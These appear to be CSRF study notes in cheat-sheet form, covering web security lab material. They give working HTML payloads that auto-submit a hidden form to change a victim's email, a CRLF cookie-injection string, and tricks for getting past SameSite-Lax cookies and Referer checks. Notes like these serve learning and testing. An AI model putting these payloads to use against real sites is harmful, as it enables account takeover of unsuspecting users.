Cause a victim to do an action unintentionally by having them make a request (e.g. https://example.com/changeemail?email=attacker@email.com
)
CSRF requires
POST request CSRF example:
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Can be generated using the CSRF PoC generator in burp suite professional
Common validation issues
<html><body><script>document.location = '{vulnerable_site}';</script></body></html>
?search=test%0d%0aSet-Cookie:%20{cookie}={value}%3b%20SameSite=None
if the parameter ends up in the cookies (something like lastSearch={search_value}
)<img src='{cookie-injection_URL}'>
along with our valid CSRF token in the POST formIf we need to perform a GET request first:
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<img src="https://vulnerable-website.com/?search=test%0d%0aSet-Cookie:%20{cookie}={value}%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>
SameSite Cookies
Same-site
Same-origin
Bypassing Lax Same-Site Cookie Restrictions
?_method=POST
_method = GET
in a POST request form if possiblelax
is enforced by default (by the browser), these cookies only have Lax
applied 120 seconds after sign-in (to not break SSO functionality)
window.open()
popups, so open a new tab on-click, wait a bit for the refresh, and then submit the form:<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
window.onclick = () => {
window.open('{sso_endpoint}');
setTimeout(() => {
document.forms[0].submit();
}, 10000);
};
</script>
Bypassing Strict Same-Site Cookie Restrictions
Bypassing Refered-based CSRF Defenses
Referer
header originates from the same domain<meta name="referrer" content="never">
- make sure it comes before the script sending the request, lolReferer: http://vulnerable-website.com.attacker-website.com/csrf-attack
would satisfy bothReferrer-Policy: unsafe-url
can be included in the payload headers to allow for URL parameters/path within the query (e.g. ?vulnerable-site.com
or /vulnerable-site.com
), which may be easier than setting up the one-trick-pony above trick